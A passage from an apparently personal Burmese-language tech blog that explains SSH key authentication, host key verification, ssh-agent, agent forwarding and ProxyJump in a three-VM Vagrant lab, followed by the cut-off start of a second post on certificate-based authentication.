/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
vagrant@192.168.56.12's password: 

Number of key(s) added: 1

Now try logging into the machine, with:   "ssh 'vagrant@192.168.56.12'"
and check to make sure that only the key(s) you wanted were added.

vagrant@ssh1:~$ ssh 192.168.56.12
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Sun Jul 21 03:07:28 AM UTC 2024

  System load:  0.0                Processes:             138
  Usage of /:   14.6% of 30.34GB   Users logged in:       0
  Memory usage: 11%                IPv4 address for eth0: 10.0.2.15
  Swap usage:   0%                 IPv4 address for eth1: 192.168.56.12


This system is built by the Bento project by Chef Software
More information can be found at https://github.com/chef/bento
Last login: Wed Jul 17 12:27:40 2024 from 192.168.56.11
vagrant@ssh2:~$ 
```

4. အထက်မှာပြထားသလိုမျိုး ssh key authentication ကို setup လုပ်ပြီးသွားရင် remote access အတွက် ssh ကို password ရိုက်ထည့်စရာမလိုတော့ပါဘူး။ တခေါက်လောက် သေချာအောင် စမ်းသပ်ပြီးရင် နောက်တဆင့်ကို ဆက်သွားဖို့အတွက် remote machine ဖြစ်တဲ့ ssh2 ပေါ်မှာ ssh configuration ကိုပြင်ဆင်ပေးရပါ့မယ်။ Key authentication ကပိုပြီးတော့ လုံခြုံတဲ့အတွက် ဒီတခုတည်းကိုပဲအသုံးပြုလို့ရအောင် password authentication ကို disable လုပ်ရပါ့မယ်။ ဘယ်လိုမျိုး configure လုပ်ရသလဲဆိုတာ အောင်မှာတချက်ကြည့်ရအောင်ဗျ။ ပြင်ရမယ့် ssh configuration file နေရာက /etc/ssh/sshd\_config ဖြစ်ပါတယ်။ အောက်ဖော်ပြပါအတိုင်း configure လုပ်ပြီးရင် `sudo systemctl restart sshd` ဆိုပြီး sshd daemon ကို restart လုပ်ဖို့လိုပါလိမ့်မယ်။ လုပ်အပ်တာတွေ အကုန်လုံးပြင်ဆင်ပြီးရင် အခြားသော host တခုနေ password နဲ့ ဝင်လို့ရနိုင်၊ မရနိုင်သေးတာကို စမ်းသပ်ဖို့လိုပါတယ်။

```bash
# Disable password authentication
PasswordAuthentication no

# Disable keyboard-interactive authentication
ChallengeResponseAuthentication no

# Optionally, disable PAM
UsePAM no

# Ensure public key authentication is enabled
PubkeyAuthentication yes

# restart sshd daemon to apply the change
vagrant@ssh2:~$ sudo systemctl restart sshd
```

### အခြားသော authentication နည်းလမ်းများ

အထက်မှာပြောသွားတဲ့ authentication နည်းလမ်းတွေအပြင်၊ ssh နဲ့တွဲပြီးသုံးလို့ရတဲ့ အခြားသောနည်းလမ်းတွေလည်းရှိပါသေးတယ်။ စာရေးသူ ကိုယ်တိုင် ကိုယ့်ရဲ့ workflow မှာအသုံးပြုနေကြမဟုတ်တဲ့အတွက် ဒီ post မှာအကျယ်တဝင့် မရှင်းလိုတော့ပါဘူး။ သို့သော် စိတ်ဝင်စားလို့ရှိရင် ကိုယ်တိုင်လေ့လာလို့ရအောင်လို့ အောက်မှာဖော်ပြပေးသွားပါ့မယ်။

* Host-based authentication
* GSSAPI (Generic Security Services Application Program Interface) authentication
* Keyboard-interactive authentication
* Certificate-based authentication

## SSH ကို remote access အတွက်အသုံးပြုပုံ

SSH ကိုသုံးပြီးတော့ remote server တခုထဲကို ဝင်ချင်ရင် အခြေခံဖြစ်တဲ့ command ကတော့ `ssh <username>@<remote-server-ip-or-hostname>` ဖြစ်ပါတယ်။ Remote server က online ဖြစ်နေပြီး၊ sshd ကိုလည်း run နေတယ်၊ firewall မှာလည်း ssh port 22 ကို ခွင့်ပြုထားတယ်ဆိုရင် အောက်မှာပြထားတဲ့အတိုင်း prompt တခုပေါ်ပါလိမ့်မယ်။ ဒီ ssh client ကနေ အဲ့ဒီ remote server ကို ပထမဆုံးအနေနဲ့ ဝင်တာဖြစ်တဲ့အတွက်လည်း အခုလိုမျိုး prompt ပြတာလည်းဖြစ်ပါတယ်။ ဒီမှာတော့ ssh key authentication ကို setup လုပ်ပြီးသားမို့ yes လို့ ထည့်ပြီးတာနဲ့ remote access ကိုချက်ချင်းဝင်သွားပါတယ်။

```bash
$ ssh vagrant@192.168.56.11
The authenticity of host '192.168.56.11 (192.168.56.11)' can't be established.
ED25519 key fingerprint is SHA256:FrgpM50adTncJAsWACDugfF7duPzn9d6RzjZZFHNtLo.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.11' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Mon Jul 15 12:19:47 PM UTC 2024

  System load:  0.1923828125       Processes:             158
  Usage of /:   13.7% of 30.34GB   Users logged in:       0
  Memory usage: 16%                IPv4 address for eth0: 10.0.2.15
  Swap usage:   0%                 IPv4 address for eth1: 192.168.56.11


This system is built by the Bento project by Chef Software
More information can be found at https://github.com/chef/bento
Last login: Mon Jul 15 12:18:45 2024 from 192.168.56.1
vagrant@ssh1:~$ 
```

အဲ့ဒီ remote server ကိုကိုယ့်အနေနဲ့ သိတာသေချာတယ်ဆိုရင် yes လို့ ပြန်ဖြေပေးလိုက်ရုံပါပဲ။ ဒီလိုဖြေလိုက်ရင်တော့ remote server ရဲ့ public key ကို ကိုယ့်ရဲ့ \~/.ssh/known\_hosts file ထဲမှာလာပြီး ပေါင်းထည့်ပေးပါလိမ့်မယ်။ နောက်အခါတွေမှာတော့ ဒီ prompt ကိုတွေ့ရတော့မှာမဟုတ်ပါဘူး။ သို့သော်... အကြောင်းအမျိုးအမျိုးကြောင့် အဲ့ဒီ remote server ရဲ့ key တွေပြောင်းသွားရင် \~/.ssh/known\_hosts ထဲက ရှိပြီးသား entry တွေကို အရင်ဆုံးဖျက်ခိုင်းပါလိမ့်မယ်။ ပြီးတော့မှ ပြန်ပြီးပေါင်းထည့်လို့ရပါလိမ့်မယ်။ Fingerprint ပြောင်းသွားတဲ့အခါ အောက်မှာပြထားတဲ့အတိုင်းတွေ့ရမှာဖြစ်ပါတယ်။

```bash
$ ssh vagrant@192.168.56.11
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:6D8mBAa5vuFSD6WqI+TbMmMFrRA4gUIDtTNgB29tnX4.
Please contact your system administrator.
Add correct host key in /home/tyla/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/tyla/.ssh/known_hosts:66
  remove with:
  ssh-keygen -f "/home/tyla/.ssh/known_hosts" -R "192.168.56.11"
Host key for 192.168.56.11 has changed and you have requested strict checking.
Host key verification failed.
```

ဘာကြောင့် အဲ့ဒီလိုဖြစ်ရသလဲဆိုတာကတော့ အောက်မှာဖော်ပြထားတဲ့ အချက်တွေကြောင့်ဖြစ်နိုင်ပါတယ်။

* အရင်ကကိုယ်က ssh ဝင်ထားခဲ့လို့ known\_hosts file ထဲမှာ entry ရှိနေပြီးမှ အဲ့ဒီကို reinstall ပြန်လုပ်လိုက်လို့ပဲဖြစ်ဖြစ်၊ server ကို upgrade လုပ်ပြီးတော့ ssh public key ကိုပြန်ပြီးတော့ generate အသစ်ထုတ်ယူလို့လည်းဖြစ်နိုင်ပါတယ်။
* ပိုပြီးတော့ ဆိုးတဲ့အနေအထားတခုမှာ man-in-the-middle attack လို့ခေါ်တဲ့ အလယ်က တဦးတယောက်ဝင်ပြီး intercept လုပ်နေလို့လည်း ဖြစ်နိုင်ပါတယ်။
* တခါတရံ server migration လုပ်လို့ မတူတဲ့ ssh keys တွေပြောင်းသွားတာလည်းဖြစ်နိုင်ချေရှိပါတယ်။
* နောက်တခုက remote server က IP address ပြောင်းသွားပြီး ကိုယ်သုံးတဲ့ hostname ကမတူတဲ့ IP address နောက်တခုကိုသွား access လုပ်လို့လည်း ဖြစ်နိုင်တယ်။

ဒါတွေက ssh မှာ remote access ဝင်တဲ့အခါ ဖြစ်လေ့ဖြစ်ထရှိတဲ့ ပြဿနာအချို့ပါ။ အခြားသောအကြောင်းကြောင်းတွေလည်းဖြစ်နိုင်ချေရှိပါတယ်။ ဒီလို failure မျိုးနဲ့ကြုံတဲ့အခါ ဖြေရှင်းဖို့ရာ နည်းလမ်းနှစ်ခုရှိပါတယ်။ ပထမတခုက သူ့ error message မှာပြထားတဲ့ အတိုင်း `ssh-keygen -f "/home/tyla/.ssh/known_hosts" -R "192.168.56.11"` ဆိုတဲ့ ssh-keygen command ကိုအသုံးပြုပြီးတော့ လက်ရှိ entry ကိုအရင်ဆုံးဖယ်ရှားဖြစ်လို့ရပါတယ်။ နောက်နည်းလမ်းတခုကတော့ ကိုယ့် home directory ထဲမှာ `vi ~/.ssh/known_hosts` ဆိုပြီးတော့ ဝင်ကြည့် စစ်ဆေးကာဖယ်ရှားလို့လည်းဖြစ်နိုင်ပါတယ်။

### StrictHostKeyChecking no ကို \~/.ssh/config ထဲမှာအသုံးပြုပုံ

အထက်မှာဖော်ပြပါ အဆင့်တွေက ssh ကို admin တယောက်အနေနဲ့ remote server ထဲကဝင်ပြီး manage လုပ်တဲ့အခါမှာတဲ့ အခြေခံအကျဆုံး အဆင့်ဖြစ်ပါတယ်။ ပုံမှန်အားဖြင့် အဲ့ဒီ workflow က human login အတွက် အဆင်ပြေနိုင်ပေမယ့်၊ machine login လို့ခေါ်တဲ့ server တလုံးကနေ နောက်server တလုံးဆီကို automation အတွက်ဝင်တဲ့အခါမှာတော့ automation workflow ကလိုသလောက် fully automated မဖြစ်နိုင်ပါ။ Command line အနေနဲ့ အသုံးပြုမယ်ဆိုရင် `ssh -o StrictHostKeyChecking=no vagrant@192.168.56.11` လို့ရိုက်ထည့်ပြီးတော့ သူ့ warning မတက်လာအောင်လုပ်လို့ရပါတယ်။

ဒီလိုမှမဟုတ်ဘူး automation မှာ script တွေနဲ့ သုံးနိုင်အောင်လို့ configuration file ထဲမှာတောက်လျှောက်ထည့်ထားချင်တယ်ဆိုရင် အောက်မှာပြထားတဲ့အတိုင်း `~/.ssh/config` ဆိုတဲ့ file ထဲမှာရိုက်ထည့်ရပါလိမ့်မယ်။

```
Host ssh1 
	HostName 192.168.56.11
	User vagrant
	StrictHostKeyChecking no 
	UserKnownHostsFile=/dev/null

Host ssh2 
	HostName 192.168.56.12
	User vagrant
	StrictHostKeyChecking no 
	UserKnownHostsFile=/dev/null

Host ssh3 
	HostName 192.168.56.13
	User vagrant
	StrictHostKeyChecking no 
	UserKnownHostsFile=/dev/null
```

ဒီနေရာမှာ သတိပြုရမှာက အဲ့ဒီ remote host တွေကို လုံးဝအကြွင်းမဲ့ အယုံပေးပြီး automated workflow မှာထည့်သွင်းအသုံးပြုထားတဲ့အတွက် လုံခြုံရေး (security) မှာတော့ ဘေးထွက်ဆိုးကျိုးတွေ ရှိနိုင်ပါတယ်။ လုံခြုံရေးနဲ့ ချောမွေ့အဆင်ပြေမူဆိုတဲ့ နှစ်ခုကိုအမြဲတန်း ထိန်းညှိရတာက IT system တွေမှာပုံမှန်ပါပဲ။

### ssh-keyscan နဲ့ remote public key ကို fingerprint လုပ်ပုံ

နောက်တနည်းကတော့ initial setup မှာအဆင့်လေးတွေ နည်းနည်းပိုပေမယ့်လည်း သေချာစိစစ်ပြီးတော့မှ ကိုယ့်ရဲ့ automated workflow ကို စမယ်ဆိုလည်းဖြစ်နိုင်ပါတယ်။ Linux ရဲ့ ssh client တွေမှာပါတဲ့ ssh-keyscan ကိုအသုံးပြုနိုင်ပါတယ်။ ပထမဆုံး အနေနဲ့ remote host တွေကို အောက်မှာပြထားသလို key scan အရင်ဆုံးလုပ်လိုက်ပါ။

```bash
# Hostname: ssh1 / IP address: 192.168.56.11
vagrant@ssh1:~$ ssh-keyscan -t ed25519 192.168.56.12 192.168.56.13
# 192.168.56.13:22 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
192.168.56.13 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv
# 192.168.56.12:22 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
192.168.56.12 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv
```

အပေါ်က output မှာပြထားတဲ့ ssh public key တွေကိုမှတ်ထားလိုက်ပြီး၊ remote host ပေါ်က key တွေနဲ့ အောက်ပါအတိုင်း တိုက်စစ်ကြည့်ရင် တူလား မတူဘူးလားဆိုတာကိုတွေ့ရပါလိမ့်မယ်။ SSH နဲ့ remote access မဝင်ခင် စစ်တာဖြစ်တာကြောင့် console ကနေဖြစ်ဖြစ်၊ out-of-band (OOB) access နည်းတခုနဲ့ ဝင်ပြီးမှ စစ်တယ်လို့ ယူဆနိုင်ပါတယ်။

```bash
# Hostname: ssh2 / IP address: 192.168.56.12
vagrant@ssh2:~$ cat /etc/ssh/ssh_host_ed25519_key.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv root@vagrant

# Hostname: ssh3 / IP address: 192.168.56.13
vagrant@ssh3:~$ cat /etc/ssh/ssh_host_ed25519_key.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv root@vagrant
```

ဒီ lab မှာတော့ Bento ရဲ့ vagrant box တွေကိုသုံးထားတဲ့အတွက် ed25519 public key တွေအားလုံး တူနေတာကိုတွေ့မြင်ရပါလိမ့်မယ်။ ကိုယ့်ရဲ့ lab environment setup လုပ်တဲ့ပေါ်မူတည်ပြီး key တွေဟာလည်း ကွဲပြားနိုင်တာကို သတိပြုရပါ့မယ်။ ဟုတ်ပြီ... အခုစစ်ဆေးကြည့်တဲ့ အခါမှာ အားလုံးတူပြီး အဆင်ပြေတယ်ဆိုရင် နောက်အဆင့်အနေနဲ့ အဲ့ဒီ key တွေကို အောက်ပါအတိုင်း fingerprint လုပ်ထားနိုင်ပါပြီ။ -t ဆိုတာ key အမျိုးအစားကိုပြောတာဖြစ်ပြီ၊ -H ဆိုတာကတော့ hash လုပ်မယ်ပြောတာပါ။

```bash
vagrant@ssh1:~$ ssh-keyscan -t ed25519 -H 192.168.56.12 192.168.56.13
# 192.168.56.12:22 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
|1|eMB9ScPCbtnb2qnTz0pc4Wh3+TU=|lk5Rv3QdvcYwfp/NcoA2gzSSwMk= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv
# 192.168.56.13:22 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
|1|ApSKUfxQJhPsP63QMBDE/1cbdsE=|6DFLpf9j6jFv3zc0YXqY8TCoMdg= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv

vagrant@ssh1:~$ ssh-keyscan -t ed25519 -H 192.168.56.12 192.168.56.13 >> ~/.ssh/known_hosts
# 192.168.56.12:22 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
# 192.168.56.13:22 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6

vagrant@ssh1:~$ ssh vagrant@192.168.56.12
vagrant@192.168.56.12's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Wed Jul 17 12:27:21 PM UTC 2024

  System load:  0.06689453125      Processes:             144
  Usage of /:   14.3% of 30.34GB   Users logged in:       0
  Memory usage: 20%                IPv4 address for eth0: 10.0.2.15
  Swap usage:   0%                 IPv4 address for eth1: 192.168.56.12


This system is built by the Bento project by Chef Software
More information can be found at https://github.com/chef/bento
Last login: Wed Jul 17 12:27:22 2024 from 192.168.56.11
vagrant@ssh2:~$ 
```

အခုဆိုရင် အထက်မှာမြင်တွေ့ရတဲ့အတိုင်း authenticity of host ဆိုတာ မတက်လာတော့ပါဘူး။ ဒီ host နှစ်ခုမှာ ssh key authentication ကို setup မလုပ်ရသေးတဲ့ အတွက် password နဲ့ပဲ remote access ဝင်လို့ရပါတယ်။

## SSH-Agent ကိုအသုံးပြုပုံ

### Local ssh-agent

စာရေးသူ အနေနဲ့ SSH-Agent ကို အသုံးပြုတဲ့ workflow နှစ်ခုရှိပါတယ်။ ပထမတခု ssh private/public key pair ကို passphrase ထည့်တဲ့အခါမှာ ssh က private key ကို access လုပ်ဖို့လိုတိုင်း အဲ့ဒီ passphrase ရိုက်ထည့်ပြီးမှ ကိုယ့် authentication ကအောင်မြင်ပါတယ်။ တနည်းအားဖြင့် ကိုယ့်ရဲ့ private key ကိုပိုပြီးလုံခြုံအောင်လို့ နောက်အလွှာတခုထပ်ထည့်လိုက်သလိုဖြစ်သွားပါတယ်။ လုံခြုံရေးအတွက်ကောင်းသွားပေမယ့် အဆင်တော့သိပ်မပြေတော့ပါဘူး။ ဒီတော့ဖြေတဲ့နည်း ssh-agent ပါ။ ကိုယ်သုံးမယ့် terminal session တခုမှာ passphrase ကိုတခါရိုက်ထည့်ပြီးသွားတာနဲ့ နောက်တခေါက်ထပ်ရိုက်ထည့်စရာမလိုတော့ပါ။ ဘယ်လိုမျိုး အသုံးချနိုင်သလဲဆိုတာကို အောက်မှဖော်ပြပေးထားပါတယ်။

```bash
# before using ssh-agent with passphrase
vagrant@ssh1:~$ ssh vagrant@192.168.56.12
Enter passphrase for key '/home/vagrant/.ssh/id_ed25519': 
Last login: Sun Jul 21 04:15:14 2024 from 192.168.56.11
vagrant@ssh2:~$

# after setting up ssh-agent for the current session
## start ssh-agent
vagrant@ssh1:~$ eval `ssh-agent -s`
Agent pid 2144

## add the private to ssh-agent with ssh-add command
vagrant@ssh1:~$ ssh-add .ssh/id_ed25519
Enter passphrase for .ssh/id_ed25519: 
Identity added: .ssh/id_ed25519 (vagrant@ssh1)

## verify if the private key is actually loaded 
vagrant@ssh1:~$ ssh-add -l
256 SHA256:wQMUdxf7bBedaIeFlYyk9FlXv9AvfVeAIt4JEaJwCWs vagrant@ssh1 (ED25519)

## login to the remote server again 
vagrant@ssh1:~$ ssh vagrant@192.168.56.12
Last login: Sun Jul 21 04:15:24 2024 from 192.168.56.11
vagrant@ssh2:~$ 
```

မြင်တဲ့အတိုင်းပဲ လက်ရှိ session တခုမှာ passphrase ရိုက်ထည့်ပြီး ကိုယ့် private key ကို ssh-agent ကိုပေးထားလိုက်ရုံနဲ့ passphrase ကိုတောက်လောက် ထပ်မတောင်းတော့ပါဘူး။ ဒီမှာသတိထားရမှာက လက်ရှိ terminal session ကို အဆုံးသတ်လိုက်ပြီးသွားတာနဲ့ အဲဒီမှာ load လုပ်ထားတဲ့ private key ကိုလည်း discard လုပ်လိုက်တဲ့အတွက်၊ နောက် session အသစ်မှာ passphrase ပြန်ရိုက်ပြီး private key ကို load ပြန်လုပ်ရပါလိမ့်မယ်။

### SSH-Agent Forwarding

ဒုတိယအသုံးပြုတဲ့ပုံစံကတော့ automation အတွက် ssh-agent ကိုအသုံးချပုံတခုဖြစ်ပါတယ်။ ဆိုပါတော့... ကိုယ့် private key ကို ကိုယ့်ရဲ့ local machine မှာပဲထားချင်တယ်၊ အဆင့်ဆင့်ခုန်တဲ့ နေရာတိုင်းမှာ private key တွေကိုလိုက်မထားချင်ဘူးဆိုပါတော့။ အကြောင်းကနှစ်ခုရှိပါတယ်၊ ပထမတခုက ssh ရဲ့ private key ကို ကိုယ့် local machine မှာ generate လုပ်ထားရင်၊ အဲ့ဒီ key ဟာ local machine ကနေတဆင့် copy လုပ်ပြီး အခြား machine တခုရဲ့ \~/.ssh/ မှာထည့်သုံးရင်၊ asymmetric key authentication ရဲ့ rule ကိုချိုးဖောက်သလိုဖြစ်နေပါတယ်။ စာရေးသူရဲ့ လုပ်ငန်းခွင်မှာ နေ့စဉ်နဲ့အမျှ ssh ကိုအသုံးပြုတဲ့အခါ ssh ကိုအသုံးပြုပြီး အဆင့်ဆင့်ခုန်ရပါတယ်။

1. ကိုယ့် local machine ကနေ deployment server ပေါ်ကို ssh နဲ့ remote access ဝင်ရပါတယ်။
2. ပြီးရင် အဲ့ဒီ deployment server ကနေ ssh ကိုအသုံးပြုပြီး အခြားသော target machines တွေကို ဖန်းတီးရပါတယ်၊ configure လုပ်ရပါတယ်။
3. လိုအပ်ရင် အဲ့ဒီ target machine တလုံးပေါ်ကနေ၊ အခြား target machine တခုပေါ်ကိုလည်း ssh နဲ့ ဝင်ရပြန်ပါတယ်။

ဒီတော့ စာရေးသူအတွက် ssh-agent forwarding ကိုအသုံးမပြုဘူး ဆိုရင် ကိုယ့်ရဲ့ ssh private key ကို တခါခုန်တိုင်း အဲ့ဒီ source machine ပေါ်ကို copy ထည့်ရင်ထည့်၊ ဒါမှမဟုတ်ရင်တော့ ssh key pair အသစ်တခုကို တခါခုန်တိုင်း အသစ် generate လုပ်ရမှာဖြစ်ပါတယ်။ ပြဿနာက အဲ့ဒီ key တွေအားလုံးကို manage လုပ်ဖို့အတွက် တော်တော်လေးခက်ပါတယ်။ နောက်တခုက ကိုယ့် private key ကနေရာတကာ ပွစာကြဲလို့နေပါတယ်။ စာရေးသူအတွက်တော့ ဘယ်လိုမှ ကြည့်မကောင်းတဲ့ မြင်ကွင်းတခုပါ။ ဒီမှာ ssh-agent ကိုအသုံးပြုပြီး အဲ့ဒီပြဿနာကို ဘယ်လိုမျိုး ဖြေရှင်းသလဲဆိုတာကြည့်လိုက်ရအောင်။

```bash
# following steps are the same as above 
vagrant@ssh1:~$ eval `ssh-agent -s`
Agent pid 2144
vagrant@ssh1:~$ ssh-add .ssh/id_ed25519
Enter passphrase for .ssh/id_ed25519: 
Identity added: .ssh/id_ed25519 (vagrant@ssh1)
vagrant@ssh1:~$ ssh-add -l
256 SHA256:wQMUdxf7bBedaIeFlYyk9FlXv9AvfVeAIt4JEaJwCWs vagrant@ssh1 (ED25519)

# use -A flag to perform ssh-agent forwarding
vagrant@ssh1:~$ ssh -A vagrant@192.168.56.12
Last login: Sun Jul 21 04:15:24 2024 from 192.168.56.11
vagrant@ssh2:~$ 
```

အထက်မှပြထားတဲ့ အတိုင်း ssh-agent forwarding လုပ်ထားလိုက်ပြီဆိုရင် remote machine ပေါ်မှာ ssh authentication socket တခုကို အလိုအလျှောက် ဖန်တီးပေးလိုက်ပါတယ်။ Socket ကိုစူးစမ်းချင်ရင် `echo $SSH_AUTH_SOCK` လို့ရိုက်ထည့်လိုက်ရုံပါပဲ။ ဒီ socket ကိုပဲအသုံးပြီး ကိုယ့် public key နဲ့ setup လုပ်ထားတဲ့ အခြားသော remote hosts တွေပေါ်ကို နောက်တဆင့်ထပ်ပြီးခုန်လို့ရပါတယ်။ အဲ့ဒီ -A flag ကိုမပါပဲ အလွယ်တကူသုံးချင်ရင် \~/.ssh/config မှာအောက်ကအတိုင်းသွားထည့်ထားလိုက်ရုံပါပဲ။

```bash
Host ssh2
    ForwardAgent yes
```

ကောင်းပြီ ကိုယ့် private key နေရာတကာမှာ မရှိတော့ဘူးဆိုတော့ လုံခြုံပြီလို့ တွေးကောင်းတွေးမိပါလိမ့်မယ်။ မဟုတ်ပါ။ Cybersecurity လောကမှာပြောတာတခုရှိပါတယ်။ လုံခြုံရေးနဲ့ပတ်သတ်လာရင်၊ ပြီးပြည့်စုံအောင်လုံခြုံတာနဲ့ လုံးဝမလုံခြုံဘူးဆိုတဲ့ အစွန်းနှစ်ဘက်မရှိဘူးတဲ့။ ကိုယ်သုံးတဲ့ security model နဲ့ policy တွေကိုပေါ်မှပဲမူတည်တယ်လို့ဆိုပါတယ်။ အခုလည်း ဒီလိုပါပဲ အထက်မှာရှင်းပြခဲ့သလို $SSH\_AUTH\_SOCK ဟာ ကိုယ်တခါခုန်တိုင်း အဲ့ဒီ remote host ပေါ်တိုင်းမှာ ဖန်တီးတဲ့အတွက်၊ အဲ့ဒီ socket ကို အဲ့ဒီ remote host ပေါ်မှာ sudo privilege ရှိတဲ့အခြားတယောက်က hijack လုပ်ချင်ရင် အလွယ်တကူလုပ်လို့ရပါတယ်။ ဒါဆိုရင်တော့ ကိုယ့်ရဲ့ user account နဲ့ impersonate လုပ်ပြီး ခြေရာလက်ရာဖောက်တာ၊ back-door တွေထားခဲ့နိုင်တာမျိုး လုပ်လို့ရပါတယ်။ ဒီ့အတွက် ssh မှာရှိတဲ့ နောက် solution တခုက ProxyJump ပဲဖြစ်ပါတယ်။

## SSH ProxyJump

SSH ProxyJump ကိုအသုံးပြုတဲ့ ပုံစံမျိုးစုံရှိပါတယ်။ ဒီ post မှာတော့ အထက်မှာရှင်းသွားတဲ့ ssh-agent အသုံးပုံမှာပဲ ProxyJump ကိုအစားထိုး သုံးပြချပါတယ်။ အသုံးပြုပုံက အောက်မှာပြထားတဲအတိုင်းပါပဲ။ သုံးရမယ့် command ကတော့ `ssh -J 192.168.56.12 192.168.56.13` ဖြစ်ပါတယ်။

```bash
# use ssh2(192.168.56.12) as jumphost to ssh into ssh3(192.168.56.13)
vagrant@ssh1:~$ ssh -J 192.168.56.12 192.168.56.13
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Sun Jul 21 05:20:34 AM UTC 2024

  System load:  0.0                Processes:             142
  Usage of /:   14.6% of 30.34GB   Users logged in:       1
  Memory usage: 12%                IPv4 address for eth0: 10.0.2.15
  Swap usage:   0%                 IPv4 address for eth1: 192.168.56.13


This system is built by the Bento project by Chef Software
More information can be found at https://github.com/chef/bento
Last login: Sun Jul 21 05:20:44 2024 from 192.168.56.11
vagrant@ssh3:~$ 
```

အလွယ်တကူသုံးနိုင်အောင်လို့ \~/.ssh/config မှာထည့်သုံးချင်ရင် အောက်မှာပြထားသလို ssh1 host ပေါ်မှာ configure လုပ်ဖို့လိုပါလိမ့်မယ်။

```bash
Host ssh2
	HostName 192.168.56.12
	User vagrant
Host ssh3
	HostName 192.168.56.13
	ProxyJump ssh2
	User vagrant
```

ဒါကတော့ စာရေးသူ နေ့စဉ်အသုံးများတဲ့ ssh workflow တွေပဲဖြစ်ပါတယ်။ SSH မှာသုံးလို့ရတဲ့ အခြားသော workflow တွေလည်းရှိပါသေးတယ်။ ကိုယ်ဘယ်လိုမျိုး ssh ကိုအသုံးချသလဲပေါ်မူတည်ပြီး အသုံးပြုတဲ့ပုံစံလေးတွေတော့ ကွာခြားနိုင်ပါတယ်။ SSH ကိုသုံးပြီး tunnel တွေဖန်တီးပုံကိုလေ့လာချင်ရင် စာရေးသူအရင်က ရေးထားတဲ့ ဒီ [post](/others/ssh-tunneling-intro) လေးမှာလည်းသွားရောက် လေ့လာနိုင်ပါတယ်။


# SSH Certificate Based Authentication အကြောင်းတစေ့တစောင်း

Linux ကိုစအသုံးပြုတော့မယ်ဆိုတာနဲ့ SSH အကြောင်းကိုအခြေခံအားဖြင့်နားလည်ထားရပါ့မယ်။ SSH မှာဘယ် command ကိုအသုံးပြုပြီးတော့ SSH server daemon ကို setup လုပ်သလဲ၊ sshd\_config ကိုဘယ်လိုမျိုးစနစ်တကျလုပ်ရသလဲဆိုတာအပြင်၊ SSH client ဘက်မှာလည်း ဘယ်လို command တွေကိုအသုံးပြုပြီး remote server ထဲကိုဝင်ရသလဲဆိုတာမျိုးကိုတော့ စာရေးသူတို့ သိထားရပါတယ်။ သို့သော် SSH ဟာ remote server ထဲကိုဝင်ဖို့သက်သက်မဟုတ်ပဲနဲ့ OpenSSH suite မှာတခါတည်းပါလာတဲ့ အခြားသော feature တွေလည်းရှိပါတယ်။ ဥပမာဆိုရင် SCP လိုမျိုး file တွေ၊ folder တွေကို local machine ကနေ၊ remote server ထဲကို copy လုပ်တဲ့အခါမှာအသုံးပြုနိုင်တဲ့ utility ဟာ SSH ပေါ်မှာအခြေခံထားပါတယ်။ ပိုပြီးတော့ စိတ်ဝင်စားဖို့ကောင်းတဲ့ အခြားသော SSH tunneling feature တွေလည်းရှိပါတယ်။ SSH tunneling အကြောင်းလေ့လာချင်ရင်တော့ ဒီ link <https://my.itmatic101.com/others/ssh-tunneling-intro> မှာသွားကြည့်လို့ရပါတယ်။ ဒါ့အပြင် မကြာသေးခင်ကမှ အလုပ်ခွင်မှာ အခြားသူတွေ မတူတဲ့ SSH workflow တွေကိုအသုံးပြုနေတာကို သတိထားမိလို့ အဲ့ဒီအကြောင်းကို article တခုရေးဖြစ်ပါသေးတယ်။ အဲ့ဒီထဲမှာ SSH မှာအသုံးပြုနိုင်တဲ့ authentication method တွေအကြောင်းကို ဆွေးနွေးဖြစ်ခဲ့ပါတယ်။ Certificate based authentication 